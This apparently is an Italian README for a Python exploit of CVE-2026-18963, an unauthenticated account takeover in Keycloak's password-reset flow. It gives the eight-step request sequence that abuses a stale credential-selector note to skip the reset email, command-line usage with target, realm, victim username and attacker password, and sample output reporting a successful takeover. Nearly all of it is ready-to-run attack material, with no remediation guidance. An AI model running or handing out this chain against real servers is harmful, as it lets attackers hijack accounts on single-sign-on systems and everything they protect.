1. GET  /realms/{realm}/protocol/openid-connect/auth
         → Stabilisce la sessione OIDC, estrae il link forgot-password

2. GET  /login-actions/reset-credentials?...
         → Carica il modulo reset-credentials

3. POST tryAnotherWay=on
         → Imposta la nota AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED (Bug 1)

4. POST username={target}  →  modulo selettore
         → Associa l'utente target alla sessione di autenticazione, attiva il passaggio email

5. GET  /login-actions/restart?...
         → Opzionale: rispecchia il polling della sessione del browser

6. GET  /login-actions/reset-credentials?...  (stesso URL del passaggio 2)
         → La nota del selettore obsoleta è ancora presente → il selettore delle credenziali riappare

7. POST username={target}  →  selettore obsoleto
         → ResetCredentialEmail vede la nota, chiama context.success() (Bug 2)
         → Il flusso avanza direttamente a UPDATE_PASSWORD — nessuna email inviata

8. POST password-new={attacker_password}
         → Account compromesso

python3 -m pip install requests

python3 exploit_cve_2026_18963.py \
    --url https://target.com \
    --realm master \
    --username [email protected] \
    --new-password NewPass123!

--url              URL base di Keycloak (obbligatorio)
--realm            Realm di destinazione (predefinito: master)
--username         Nome utente o email dell'account da compromettere (obbligatorio)
--new-password     Password da impostare sull'account target (obbligatorio)
--client-id        ID client OIDC (predefinito: account)
--auth-prefix      auto | new | old
                     auto = rileva automaticamente (predefinito)
                     new  = /realms/...        (Keycloak >= 17)
                     old  = /auth/realms/...   (Keycloak < 17)
-v, --verbose      Stampa la traccia HTTP completa
--skip-version-check

# Rilevamento automatico del prefisso URL Keycloak vecchio/nuovo
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026!

# Forza il prefisso legacy /auth/ (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    --auth-prefix old

# Traccia HTTP dettagliata
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    -v

  CVE-2026-18963  |  Keycloak Account Takeover non autenticato
  Utente : [email protected]

[Passaggio 0] Rilevamento versione e prefisso percorso
[+] Prefisso percorso: '/auth'  →  rilevato
[?] Versione non rilevata — si prosegue comunque.

  Target : https://sso.example.com/auth/realms/myrealm

[Passaggio 1] Apertura del modulo reset-credentials tramite link OIDC forgot-password
[+] Sessione OIDC stabilita
[+] Modulo reset-credentials caricato

[Passaggio 2] POST tryAnotherWay=on  →  imposta la nota del selettore (Bug 1)
[+] Modulo selettore credenziali ricevuto

[Passaggio 3] POST username='[email protected]'  →  associa utente, attiva il passaggio email
[+] Passaggio email attivato — URL di polling sessione trovato

[Passaggio 4] GET percorso di polling sessione (opzionale)

[Passaggio 5] Nuova visita all'URL forgot-password  →  ottieni selettore obsoleto
[+] Modulo selettore credenziali obsoleto ricevuto

[Passaggio 6] POST username al selettore obsoleto  →  attiva il bypass (Bug 2)
[+] BYPASS RIUSCITO — modulo update-password ricevuto

[Passaggio 7] Imposta nuova password

============================================================
  [+] SUCCESSO — Account Takeover completato
  [+] Target   : https://sso.example.com/auth/realms/myrealm
  [+] Utente   : [email protected]
  [+] Password : Pwn3d2026!
============================================================